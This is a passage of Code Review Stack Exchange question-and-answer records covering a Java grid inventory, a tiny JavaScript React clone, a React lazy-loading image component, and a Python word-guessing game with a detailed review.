"ParentId": "231940", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:49:26.063", "Id": "231940", "Score": "2", "Tags": [ "java", "recursion" ], "Title": "interpre function implementation" }
231940
<p>This library provides methods for storing items into an inventory. the container is based on a grid as well as the items going into that container. </p> <p><a href="https://i.stack.imgur.com/i9GuYb.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/i9GuYb.jpg" alt="enter image description here"></a></p> <p>can you please review the code in any way?</p> <pre><code>public interface GridContainer { public Collection&lt;GeoPoint&gt; getContainer(); public Collection&lt;GridShape&gt; getContent(); public boolean fitsInside(GridShape container, GeoPoint location); public void add(GridShape shape, GeoPoint location); public GridShape remove(GeoPoint location); } </code></pre> <pre><code>public interface GridShape { public boolean fitsInside(GridContainer container, GeoPoint pointer); public Collection&lt;GeoPoint&gt; getShape(); public GeoPoint getPointer(); public Collection&lt;GeoPoint&gt; getRelativeShape(GeoPoint point); } </code></pre> <p>so far we have an implementation for rectangle shaped containers and items</p> <pre><code>public class RectangleContainer implements GridContainer { private final List&lt;GeoPoint&gt; shape; private final Map&lt;GeoPoint, GridShape&gt; content; public RectangleContainer(int width, int height){ shape = Collections.unmodifiableList(RectangleUtility.createShape(width, height)); content = new HashMap&lt;&gt;(); } @Override public Collection&lt;GeoPoint&gt; getContainer() { return shape; } @Override public Collection&lt;GridShape&gt; getContent() { return content.values(); } @Override public boolean fitsInside(GridShape shape, GeoPoint location) { Collection&lt;GeoPoint&gt;relativeShape = shape.getRelativeShape(location); boolean hasIntersections = hasIntersection(relativeShape); boolean isInBounds = isInBounds(relativeShape); return !hasIntersections &amp;&amp; isInBounds; } private boolean isInBounds(Collection&lt;GeoPoint&gt;relativeShape) { for (GeoPoint point: relativeShape){ if (!shape.contains(point)){ return false; } } return true; } private boolean hasIntersection(Collection&lt;GeoPoint&gt;relativeShape) { for (Map.Entry&lt;GeoPoint, GridShape&gt; entry: content.entrySet()){ for (GeoPoint pointOfContent: entry.getValue().getRelativeShape(entry.getKey())){ if (relativeShape.contains(pointOfContent)){ return true; } } } return false; } @Override public void add(GridShape shape, GeoPoint location) { content.put(location, shape); } @Override public GridShape remove(GeoPoint location) { return content.remove(location); } } </code></pre> <pre><code>public class RectangleItem&lt;I&gt; implements GridShape, ItemHolder&lt;I&gt; { private final List&lt;GeoPoint&gt; shape; private I item; public RectangleItem(int width, int height){ shape = Collections.unmodifiableList(RectangleUtility.createShape(width, height)); } @Override public boolean fitsInside(GridContainer container, GeoPoint pointer) { return container.fitsInside(this, pointer); } @Override public Collection&lt;GeoPoint&gt; getShape() { return shape; } @Override public GeoPoint getPointer() { return shape.get(0); } @Override public Collection&lt;GeoPoint&gt; getRelativeShape(GeoPoint point) { return shape.stream().map(p -&gt; new GeoPoint(p.getX()+point.getX(), p.getY() + point.getY())).collect(Collectors.toList()); } @Override public I getItem() { return item; } @Override public void setItem(I item) { this.item = item; } } </code></pre> <p>Note: i've skipped the <code>test classes</code> and the <code>RectangleUtility</code> class, the <strong>geoLib project</strong> and the <code>ItemHolder</code> since they are not scope of the review. If they are required please feel free to add a comment asking for them, then i'll add them. (i think this question is already bloated, that's the reason for deciding so)</p>
[]
[ { "body": "<h1>General</h1>\n\n<h2>Task</h2>\n\n<p>In my opinion you lost the focus of your task description:</p>\n\n<blockquote>\n <p> [...]storing <strong>items</strong> into an <strong>inventory</strong>. The container is based on a grid as well as the items going into that container.</p>\n</blockquote>\n\n<p>The word <code>container</code> can easily be replaced by <code>inventory</code>:</p>\n\n<blockquote>\n <p> [...] storing <strong>items</strong> into an <strong>inventory</strong>. The <strong>inventory</strong> is based on a <strong>grid</strong> as well as the <strong>items</strong> going into that <strong>inventory</strong>.</p>\n</blockquote>\n\n<p>The goal is to store items in an <code>Inventory</code>/<code>Container</code> but currently it stores <code>Shapes</code> instead of <code>Items</code>:</p>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>public class RectangleContainer implements GridContainer {\n\n  /* ... */\n  private final Map&lt;GeoPoint, GridShape&gt; content;\n\n  /* ... */\n\n  @Override\n  public boolean fitsInside(GridShape shape, GeoPoint location) { /* ... */ }\n\n  /* ... */\n\n  @Override\n  public void add(GridShape shape, GeoPoint location) { /* ... */ }\n\n\n}\n</code></pre>\n</blockquote>\n\n<h2>What is an Item</h2>\n\n<h3> What an Item currently is</h3>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>public class RectangleItem&lt;I&gt; implements GridShape, ItemHolder&lt;I&gt; { /* ... */}\n</code></pre>\n</blockquote>\n\n<p>To make it simpler to discuss:</p>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>public class Item&lt;I&gt; implements Shape, ItemHolder&lt;I&gt; { /* ... */}\n</code></pre>\n</blockquote>\n\n<p>Is <code>Item</code> an <code>Item</code>? When I see only the class name I would say yes, but after looking on the signature I would say: \"It could be\". \nFrom the signature it is an item that is a shape that holds an item.\nIs it an item that holds an other item?</p>\n\n<h3>What an Item should be</h3>\n\n<p>A <code>Item</code> is something that <strong>has a</strong> <code>Shape</code>.</p>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>public class Item&lt;I&gt; {\n\n    private I value;\n    private Shape shape;\n\n    public Item(I value, Shape shape) { /* ... */ }\n\n}\n</code></pre>\n</blockquote>\n\n<p>and an <code>ìtem</code> should be packed into an inventory/container:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public class RectangleContainer implements GridContainer {\n    /* ... */\n    @Override    public void add(Item item, GeoPoint location) {/* ... */}\n}\n</code></pre>\n\n<h1>Code Smell</h1>\n\n<h2>Feature Envy</h2>\n\n<p>Inside <code>RectangleContainer#fitsInside(GridShape shape, GeoPoint location)</code> is the following line:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>Collection&lt;GeoPoint&gt; relativeShape = shape.getRelativeShape(location);\n</code></pre>\n\n<p>The <code>relativeShape</code> gets passed into <code>hasIntersection</code> and <code>isInBounds</code> of <code>RectangleContainer</code>:</p>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>@Override\npublic boolean fitsInside(GridShape shape, GeoPoint location) {\n Collection&lt;GeoPoint&gt; relativeShape = shape.getRelativeShape(location);\n boolean hasIntersections = hasIntersection(relativeShape);\n boolean isInBounds = isInBounds(relativeShape);\n return !hasIntersections &amp;&amp; isInBounds;\n}\n</code></pre>\n</blockquote>\n\n<p>Because <code>RectangleContainer</code> works with the internals of <code>shape</code> (<code>relativeShape</code>) it is a <a href=\"https://refactoring.guru/smells/feature-envy\" rel=\"nofollow noreferrer\">feature envy</a>.</p>\n\n<p>You could return a custom object <code>PositionedItem</code> that has the methods <code>intersectsNotInside(inventory)</code> and <code>isInBoundOf(inventory)</code>:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>@Override\npublic boolean fitsInside(Item item, GeoPoint location) {\n PositionedItem positionedItem = shape.at(location);\n return !positionedItem.intersectsNotInside(this) &amp;&amp; positionedItem.isInBoundOf(this);\n}\n</code></pre>\n\n<p>The benefit will be that you will not have duplicate logic for <code>hasIntersections</code> and <code>isInBounds</code> in the different subtypes of <code>GridContainer</code>.</p>\n\n<h1>Redundant Public</h1>\n\n<p>In both interfaces <code>GridContainer</code> and <code>GridShape</code> you have used the key word <code>public</code>. Per default are fields in an interface are <code>public</code>.</p>\n\n<p>Also valid java:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>public interface GridShape {\n boolean fitsInside(GridContainer container, GeoPoint pointer);\n Collection&lt;GeoPoint&gt; getShape();\n GeoPoint getPointer();\n Collection&lt;GeoPoint&gt; getRelativeShape(GeoPoint point);\n}\n</code></pre>\n\n<h1>Everything is addable</h1>\n\n<blockquote>\n <pre class=\"lang-java prettyprint-override\"><code>@Override\npublic void add(GridShape shape, GeoPoint location) {\n content.put(location, shape);\n}\n</code></pre>\n</blockquote>\n\n<p>I could add a <code>shape</code>, that is 1000 times bigger as a <code>RectangleContainer</code>..</p>\n\n<p>The adding of a <code>shape</code> should be checked so that it is not possible to at wrong shapes</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T19:12:42.500", "Id": "453661", "Score": "0", "body": "Thank you very much for spending time on this review! I'm so glad to learn so many things from you!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T16:13:21.900", "Id": "232067", "ParentId": "231943", "Score": "2" } } ]
{ "AcceptedAnswerId": "232067", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:56:35.690", "Id": "231943", "Score": "3", "Tags": [ "java", "object-oriented" ], "Title": "GridItem and GridContainer" }
231943
<p>I'm not a professional Javascript developer and never worked within JS teams. I've made a small library, that is kind of a silly ReactJS clone, optimized for size and minimalism aesthetics, rather than performance. Terrible performance is by design, but I would like the code to be at least a little bit more readable.</p> <p>May I ask you for your feedback of what can be improved, and if there is any hope for improvement (initially I received a lot of negative feedback on my code readability, so I am asking for help).</p> <p>The full library code is here <a href="https://github.com/zserge/o" rel="nofollow noreferrer">https://github.com/zserge/o</a></p> <p>The actual code is one ES6 module:</p> <pre><code>/** * Create a virtual node. Short, one-letter property names are used to reduce * the minified JS code size. "e" stands for element, "p" for properties and * "c" for children. * * @param e - The node name (HTML tag name), or a functional component, that * constructs a virtual node. * @param [p] - The properties map of the virtual node. * @param [c] - The children array of the virtual node. * * @returns {object} A virtual node object. */ export const h = (e, p = {}, ...c) =&gt; ({ e, p, c }); /** * Create a virtual node based on the HTML-like template string, i.e: * `&lt;tag attr="value" attr2="value2"&gt;&lt;/tag&gt;`. Tags can be self-closing. * Attribute values must be double quoted, unless they are placeholders. * Placeholders can appear only as tag names, attribute values or in between * the tags, like text or child elements. * * @param [strings] - An array of raw string values from the template. * @param [fields] - Variadic arguments, containing the placeholders in between. * @returns {object} - A virtual node with properties and children based on the * provided HTML markup. */ export const x = (strings, ...fields) =&gt; { // Stack of nested tags. Start with a fake top node. The actual top virtual // node would become the first child of this node. const stack = [h()]; // Three distinct parser states: text between the tags, open tag with // attributes and closing tag. Parser starts in text mode. const MODE_TEXT = 0; const MODE_OPEN_TAG = 1; const MODE_CLOSE_TAG = 2; let mode = MODE_TEXT; // Read and return the next word from the string, starting at position i. If // the string is empty - return the corresponding placeholder field. const readToken = (s, i, regexp, field) =&gt; { s = s.substring(i); if (!s) { return [s, field]; } const m = s.match(regexp); return [s.substring(m[0].length), m[1]]; }; strings.forEach((s, i) =&gt; { while (s) { let val; s = s.trimLeft(); switch (mode) { case MODE_TEXT: // In text mode, we expect either `&lt;/` (closing tag) or `&lt;` (opening tag), or raw text. // Depending on what we found, switch parser mode. For opening tag - push a new h() node // to the stack. if (s[0] === '&lt;') { if (s[1] === '/') { [s] = readToken(s, 2, /^([a-zA-Z0-9_-]+)/, fields[i]); mode = MODE_CLOSE_TAG; } else { [s, val] = readToken(s, 1, /^([a-zA-Z0-9_-]+)/, fields[i]); stack.push(h(val, {})); mode = MODE_OPEN_TAG; } } else { [s, val] = readToken(s, 0, /^([^&lt;]+)/, ''); stack[stack.length - 1].c.push(val); } break; case MODE_OPEN_TAG: // Within the opening tag, look for `/&gt;` (self-closing tag), or just // `&gt;`, or attribute key/value pair. Switch mode back to "text" when // tag is ended. For attributes, put key/value pair to the properties // map of the top-level node from the stack. if (s[0] === '/' &amp;&amp; s[1] === '&gt;') { stack[stack.length - 2].c.push(stack.pop()); mode = MODE_TEXT; s = s.substring(2); } else if (s[0] === '&gt;') { mode = MODE_TEXT; s = s.substring(1); } else { [s, val] = readToken(s, 0, /^([a-zA-Z0-9_-]+)=/, ''); console.assert(val); let propName = val; [s, val] = readToken(s, 0, /^"([^"]*)"/, fields[i]); stack[stack.length - 1].p[propName] = val; } break; case MODE_CLOSE_TAG: // In closing tag mode we only look for the `&gt;` to switch back to the // text mode. Top level node is popped from the stack and appended to // the children array of the next node from the stack. console.assert(s[0] === '&gt;'); stack[stack.length - 2].c.push(stack.pop()); s = s.substring(1); mode = MODE_TEXT; break; } } if (mode === MODE_TEXT) { stack[stack.length - 1].c = stack[stack.length - 1].c.concat(fields[i]); } }); return stack[0].c[0]; }; // Global array of hooks for the current functional component let hooks; // Global index of the current hook in the array of hooks above let index = 0; // Function, that forces an update of the current component let forceUpdate; // Returns an existing hook at the current index for the current component, or // creates a new one. let getHook = value =&gt; { let hook = hooks[index++]; if (!hook) { hook = { value }; hooks.push(hook); } return hook; }; /** * Provides a redux-like state management for functional components. * * @param reducer - A function that creates a new state based on the action * @param initialState - Initial state value * @returns {[ dispatch, (state) =&gt; void ]} - Action dispatcher and current * state. */ export const useReducer = (reducer, initialState) =&gt; { const hook = getHook(initialState); const update = forceUpdate; const dispatch = action =&gt; { hook.value = reducer(hook.value, action); update(); }; return [hook.value, dispatch]; }; /** * Provides a local component state that persists between component updates. * @param initialState - Initial state value * @return {[state, setState: (state) =&gt; void]} - Current state value and * setter function. */ export const useState = initialState =&gt; useReducer((_, v) =&gt; v, initialState); /** * Provides a callback that may cause side effects for the current component. * Callback will be evaluated only when the args array is changed. * * @param cb - Callback function * @param [args] - Array of callback dependencies. If the values in the array * are modified - callback is evaluated on the next render. */ export const useEffect = (cb, args = []) =&gt; { const hook = getHook(); if (changed(hook.value, args)) { hook.value = args; cb(); } }; // Returns true if two arrays `a` and `b` are different. const changed = (a, b) =&gt; !a || b.some((arg, i) =&gt; arg !== a[i]); /** * Render a virtual node into a DOM element. * * @param vnode - The virtual node to render. * @param dom - The DOM element to render into. */ export const render = (vlist, dom) =&gt; { // Make vlist always an array, even if it's a single node. vlist = [].concat(vlist); // Unique implicit keys counter for un-keyed nodes let ids = {}; // Current hooks storage let hs = dom.h || {}; // Erase hooks storage dom.h = {}; vlist.forEach((v, i) =&gt; { // Current component re-rendering function (global, used by some hooks). forceUpdate = () =&gt; render(vlist, dom); while (typeof v.e === 'function') { // Key, explicit v property or implicit auto-incremented key let k = (v.p &amp;&amp; v.p.k) || '' + v.e + (ids[v.e] = (ids[v.e] || 1) + 1); hooks = hs[k] || []; index = 0; v = v.e(v.p, v.c, forceUpdate); // Put current hooks into the new hooks storage dom.h[k] = hooks; } // DOM node builder for the given v node let createNode = () =&gt; v.e ? document.createElement(v.e) : document.createTextNode(v); // Corresponding DOM node, if any. Reuse if tag and text matches. Insert // new DOM node before otherwise. let node = dom.childNodes[i]; if (!node || (v.e ? node.e !== v.e : node.data !== v)) { node = dom.insertBefore(createNode(), node); } if (v.e) { node.e = v.e; for (let propName in v.p) { if (node[propName] !== v.p[propName]) { node[propName] = v.p[propName]; } } render(v.c, node); } else { node.data = v; } }); for (let child; (child = dom.childNodes[vlist.length]); ) { dom.removeChild(child); } }; </code></pre> <p>Thanks!</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:38:04.890", "Id": "231945", "Score": "3", "Tags": [ "javascript", "react.js" ], "Title": "Small ReactJS clone" }
231945
<p>I'm trying to design a better solution for img srcset with lazy load. Below is the code from the component responsible for lazy load img, maybe someone has a better way to achieve this effect.</p> <p>Full <a href="https://github.com/JacobJSLove/messenger-ssr/tree/389b3e5e135cdda33282efdf0df45a298a273991" rel="nofollow noreferrer">github repo</a></p> <pre><code>import React, { useState, useEffect, useRef } from 'react'; const ImageLoader = ({ alt, height, id, width }) =&gt; { const [loaded, setLoaded] = useState(false); const ImageWrapper = useRef(null); const mobile = `data/${id}_m.jpg`; const tablet = `data/${id}_t.jpg`; const src = `data/${id}.jpg`; useEffect(() =&gt; { const img = new Image(width, height); img.onload = () =&gt; setLoaded(true); img.src = src; img.sizes = "(max-width: 1500px) 33vw, 40vw"; img.srcset = `${mobile} 1000w, ${tablet} 1300w, ${src} 2000w`; img.alt = alt; ImageWrapper.current.appendChild(img); }, []); return ( &lt;div style={{ width: `${width}px`,height:`${height}px` }} className="ImageWrapper" ref={ImageWrapper}&gt; {!loaded ? ( &lt;svg x="0px" y="0px" width={width} height={height} viewBox="0 0 53 53"&gt; &lt;path style={{fill: '#E7ECED'}} d="M18.613,41.552l-7.907,4.313c-0.464,0.253-0.881,0.564-1.269,0.903C14.047,50.655,19.998,53,26.5,53 c6.454,0,12.367-2.31,16.964-6.144c-0.424-0.358-0.884-0.68-1.394-0.934l-8.467-4.233c-1.094-0.547-1.785-1.665-1.785-2.888v-3.322 c0.238-0.271,0.51-0.619,0.801-1.03c1.154-1.63,2.027-3.423,2.632-5.304c1.086-0.335,1.886-1.338,1.886-2.53v-3.546 c0-0.78-0.347-1.477-0.886-1.965v-5.126c0,0,1.053-7.977-9.75-7.977s-9.75,7.977-9.75,7.977v5.126 c-0.54,0.488-0.886,1.185-0.886,1.965v3.546c0,0.934,0.491,1.756,1.226,2.231c0.886,3.857,3.206,6.633,3.206,6.633v3.24 C20.296,39.899,19.65,40.986,18.613,41.552z" /&gt; &lt;g&gt; &lt;path style={{fill: '#556080'}} d="M26.953,0.004C12.32-0.246,0.254,11.414,0.004,26.047C-0.138,34.344,3.56,41.801,9.448,46.76 c0.385-0.336,0.798-0.644,1.257-0.894l7.907-4.313c1.037-0.566,1.683-1.653,1.683-2.835v-3.24c0,0-2.321-2.776-3.206-6.633 c-0.734-0.475-1.226-1.296-1.226-2.231v-3.546c0-0.78,0.347-1.477,0.886-1.965v-5.126c0,0-1.053-7.977,9.75-7.977 s9.75,7.977,9.75,7.977v5.126c0.54,0.488,0.886,1.185,0.886,1.965v3.546c0,1.192-0.8,2.195-1.886,2.53 c-0.605,1.881-1.478,3.674-2.632,5.304c-0.291,0.411-0.563,0.759-0.801,1.03V38.8c0,1.223,0.691,2.342,1.785,2.888l8.467,4.233 c0.508,0.254,0.967,0.575,1.39,0.932c5.71-4.762,9.399-11.882,9.536-19.9C53.246,12.32,41.587,0.254,26.953,0.004z" /&gt; &lt;/g&gt; &lt;/svg&gt; ) : null} &lt;/div&gt; ) }; export default ImageLoader; </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:52:16.620", "Id": "452720", "Score": "0", "body": "The word `trying` sometimes indicates the code is not working as expected, which would make the question off-topic for code review. If you are having performance issues and are and looking for suggestions on how to improve the performance, please add the `performance` tag." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:59:24.510", "Id": "231946", "Score": "3", "Tags": [ "image", "react.js", "jsx", "lazy" ], "Title": "React.js component to lazy-load image" }
231946
<p>I have just finished learning basic-intermediate Python subjects and wanted to test myself. This word-guessing game is one of the first programs I have written. </p> <pre class="lang-py prettyprint-override"><code>import random def pick_random_word(): word_list = ["python", "c", "java", "swift", "html", "css", "go", "ruby"] random_word = random.choice(word_list) return random_word def make_word_classified(word): classified_list = ["_" for i in word] return classified_list def guess(): word = pick_random_word() classified_word = make_word_classified(word) print(*classified_word) total_attempts = 0 while True: try: answer = input("Guess a letter (Write only one letter)&gt;: ").lower() if len(answer) &gt; 1: raise Exception except Exception: print("Only one letter at a time!") continue total_attempts += 1 if total_attempts &gt;= 7: print("Sorry but you lost!") try_again = input("Wanna play again? (write y or n) &gt;: ") if try_again == 'y': guess() elif try_again == 'n': print("Goodbye!") quit() for i in range(len(word)): if answer == word[i]: classified_word[i] = answer if "".join(classified_word) == word: print("You won!") quit() print(*classified_word, f"\nTotal attempts left: {7 - total_attempts}") if __name__ == "__main__": guess() </code></pre> <p>So, what do you think? How can I make it better? What are my mistakes?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:23:19.597", "Id": "452669", "Score": "0", "body": "Note that you always lose here if the word is \"javascript\", since you -always- increment, and it has > 7 unique letters." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:26:26.623", "Id": "452671", "Score": "0", "body": "@Gloweye You are right, fixing it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:26:40.077", "Id": "452695", "Score": "0", "body": "@Haliax, can you declare `word_list` as constant?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:17:13.830", "Id": "452713", "Score": "0", "body": "@RomanPerekhrest You mean as a tuple? I don't know how to set a constant list." } ]
[ { "body": "<h1>General Remarks</h1>\n\n<ul>\n<li>For the most part, this code is quite good if it's truly one of the first programs you've written. I've seen experienced coders with a University degree do much worse things. Congrats.</li>\n<li>Avoid: <code>while True:</code>, <code>catch Exception</code>, <code>raise Exception</code> in the future. These should only be used in rare cases, and yours wasn't one.</li>\n<li>KISS. That <code>try..except</code> block where you raise and catch an exception is just too complex for what can simply be achieved with an <code>if</code> statement.</li>\n<li>Consider the control flow. There's a couple of bugs that I found because some of the conditions were incomplete. I've annotated and fixed some of them in the line-by-line review, and will put them rest as \"exercises\" at the end.</li>\n<li>Avoid the use of <code>quit()</code> (or even <code>sys.exit()</code>) and opt for an early <code>return</code> instead.</li>\n</ul>\n\n<h1>Personal Remarks and Hints</h1>\n\n<ul>\n<li>Consider adopting type hinting. A small program like this is ideal to explore Python type hinting, and tools such as <code>mypy</code> can make your life a lot easier once you get the hang of it.</li>\n<li>I would've liked to see some docstrings in your module and functions.</li>\n<li>Variable names and functions names were okay for the most part, although there's room for improvement. Always make them indicative of the variable/function's purpose, and avoid confusion.</li>\n<li>Consider the visibility of your functions, and mark functions that should not be visible outside of your module as \"private\" by prefixing them with an underscore. Although unnecessary for this code, it's good practice for the future.</li>\n</ul>\n\n<h1>Line-by-Line Review</h1>\n\n<p>Without further ado, here's a line-by-line review with some inline comments and personal suggestions for improvement I've made while reading your code.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import random\n\n# EXERCISES:\n# - What if I win, but I want to play another round?\n# - What happens if I guess the same character twice? What *should* happen?\n# Maybe it's already okay.\n\n# COMMENT: Putting this list in the `pick_random_word` function will constantly\n# reconstruct the list, which is redundant. Instead, moving it to the global\n# scope will only construct it once.\n# NOTE: Putting variables into the global scope is also considered bad\n# practice, but in this simple case there's not a lot wrong with it. There's\n# other options that I won't go into detail on.\n# COMMENT: You removed \"javascript\" because @Gloweye correctly pointed out a\n# bug in your program. We'll instead fix this bug here.\n_WORD_LIST = [\n \"python\", \"c\", \"java\", \"swift\", \"html\", \"css\", \"go\", \"ruby\",\n \"javascript\"]\n\n# COMMENT: Magic constants are a bad practice to have in your source code. I've\n# extracted the maximum attempts to a global variable, so if you want to\n# provide more attempts at a later date, you just have to change this, and not\n# search for the number in the code.\n_MAX_FAILED_ATTEMPTS = 7\n\n\n# COMMENT: I've prefixed all function definitions with an underscore. This is\n# mostly just a convention to denote names that should be kept internal. In\n# case of modules, this signifies a user of the module that this is not a\n# function they should be concerned with. In your case, this is probably\n# redundant, but it's good practice for the future.\ndef _pick_random_word():\n # COMMENT: Don't assign and immediately return, instead, return without\n # assignment. This makes your code clearer.\n return random.choice(_WORD_LIST)\n\n\ndef _make_word_classified(word):\n # COMMENT: Again, immediately return instead of assigning to a variable\n # first. Secondly, lists can be \"multiplied\". This replicates the contents,\n # just like your list comprehension did previously.\n # Note: Mind the brackets so it's a list, not a string. Strings can be\n # multiplied too, but are immutable so won't work for the remainder of the\n # code.\n return [\"_\"] * len(word)\n # return classified_list\n\n\n# COMMENT: A better name would be in order here. Something along the lines of\n# `play_guessing_game` would be better, but still not ideal. `guess` feels like\n# the wrong name to me.\ndef guess():\n # COMMENT: Confusing variable names are one of my pet peeves, so I changed\n # `word` to `target_word`. This way, when writing the code, you won't get\n # confused.\n target_word = _pick_random_word()\n classified_word = _make_word_classified(target_word)\n print(*classified_word)\n # COMMENT: Let's count the how many attempts are left, since that's what\n # we use more often: In printing as well as (now) the condition of the loop\n attempts_left = _MAX_FAILED_ATTEMPTS\n\n # COMMENT: I don't like `while True:`, unless it's really necessary.\n # I've changed it to iterate with a condition on the number of attempts\n # instead. This will also simplify our loop body.\n # COMMENT: We could simplify this to `while attempts_left` and use the fact\n # that 0 is equivalent to `False`, but this is more explicit.\n while attempts_left &gt; 0:\n # COMMENT: The `try..except` block is over-engineered, it could've\n # been done with a simple `if` statement.\n answer = input(\"Guess a letter (Write only one letter)&gt;: \").lower()\n # COMMENT: What happens if I don't enter anything? Should it really be\n # counted as an attempt? Thus I check if there's exactly one character.\n if len(answer) != 1:\n print(\"Exactly one letter is expected!\")\n # COMMENT: I like the use of `continue` instead of an `else` block.\n # Both are viable, but for a large `else` body it gets hard on the\n # eyes. Well done.\n continue\n # COMMENT: Before I forget: You raised and caught `Exception`. In the\n # future, create your own custom exceptions instead, or use a specific\n # exception that's already provided by Python. `Exception` is the\n # superclass of almost all exceptions in Python, and by catching\n # exceptions, you would've suppressed different errors as well, such\n # as `IndexError`, `KeyError`, `AttributeError`, `TypeError`, ...\n\n # COMMENT: We'll only increment the attempt counter on mistakes, so\n # that words of arbitrary length are possible.\n # total_attempts += 1\n\n # COMMENT: We don't have to check this anymore, it's already checked\n # in the loop condition. Instead. we'll move the handling of running\n # out of attempts to after the loop.\n # if total_attempts &gt;= _MAX_ATTEMPTS:\n # print(\"Sorry but you lost!\")\n # try_again = input(\"Wanna play again? (write y or n) &gt;: \")\n # if try_again == 'y':\n # guess()\n # elif try_again == 'n':\n # print(\"Goodbye!\")\n # quit()\n\n attempt_correct = False\n # COMMENT: Use enumerate(word) rather than range(len(word)) to get both\n # the value and the index.\n for char_idx, target_char in enumerate(target_word):\n # I've reindented this code to be 4 spaces rather than 8. New\n # blocks should always have 4 spaces.\n if answer == target_char:\n classified_word[char_idx] = answer\n attempt_correct = True\n\n # We still need to decrement the attempt counter if the attempt was\n # incorrect. This is why we maintain a boolean and set it to True only\n # if the attempt is correct.\n if not attempt_correct:\n attempts_left -= 1\n\n # COMMENT: Let's move this out of that loop, so we only compare the\n # words once, rather than every time we access a character.\n # COMMENT: Instead of turning the classified word into a string, let's\n # instead check whether it still contains an underscore to check if\n # we're done. This is more elegant.\n if \"_\" not in classified_word:\n print(\"You won!\")\n # COMMENT: Instead of calling `quit()`, we'll return. I'm\n # `quit()` is not really an elegant way to exit a program,\n # and is not necessary here. Returning early will simply\n # break out of the function (and thus also the loop) and\n # thus stop the game.\n # COMMENT: Exercise for you: What if I wanted to continue\n # to play another round?\n return\n\n # COMMENT: You could move this to the top of the loop, and do away\n # with the initial print before the loop, and then you'd have the\n # \"Total attempts left\" from the start.\n print(*classified_word, f\"\\nTotal attempts left: {attempts_left}\")\n\n # If we reach the end of this loop, we've lost, since if we've won,\n # we'd already have returned from the function.\n print(\"Sorry but you lost!\")\n try_again = input(\"Wanna play again? (write y or n) &gt;: \")\n # COMMENT: Python makes no distinction between strings and characters, so\n # single quotes and double quotes are equivalent. \"y\" and \"n\" here were\n # single quotes while the rest of your strings are double quotes.\n # Be consistent. Choose one and stick with it.\n if try_again == \"y\":\n # Okay, but what if I play millions of times? It's likely never going\n # to be an issue, but if I play millions of times, this will cause a\n # stack overflow because of the recursion. Prefer iteration (with a\n # `for` or `while` loop) instead. Python does not have tail-call\n # optimization: https://stackoverflow.com/q/13591970/10973209\n guess()\n # We still need the `else` to print the goodbye, otherwise it would print\n # goodbye multiple times if we recursively call ourselves. I've changed it\n # to `else` so that it prints goodbye even if I didn't say 'n'.\n # This would previously cause a bug when it was still in the loop. If I\n # entered 'a', it would just continue the game and I'd have an infinite\n # number of attempts.\n else:\n print(\"Goodbye!\")\n # Now that this is moved outside of the loop, we don't need to return\n # or quit anymore, the function will just end.\n\n\nif __name__ == \"__main__\":\n guess()\n</code></pre>\n\n<h1>Exercises</h1>\n\n<p>There's still room for improvement, and I'll give you a few pointers on where to start:</p>\n\n<ul>\n<li>Consider the case where I'm forgetful, and I've typed the same character twice. How should this be handled? How is this currently handled? Is that okay?</li>\n<li>I've won the game. Now what? I'd like to play again, please and thank you.</li>\n<li>I already mentioned in the code the possibility of stack overflow because Python doesn't perform so-called <em>tail-call optimisation</em>. I doubt you'll ever run into issues with this program because of this, but it's still a good exercise to 1) look into what tail-call optimisation is and why your program could crash without it, and 2) fix the program so that it wouldn't have that problem.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:14:41.957", "Id": "452712", "Score": "1", "body": "Thank you so much for your time and interest! Much appreciated!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T15:21:25.847", "Id": "231957", "ParentId": "231949", "Score": "6" } } ]
{ "AcceptedAnswerId": "231957", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:58:42.780", "Id": "231949", "Score": "6", "Tags": [ "python", "beginner", "python-3.x" ], "Title": "A Simple Word Guessing Game" }
231949
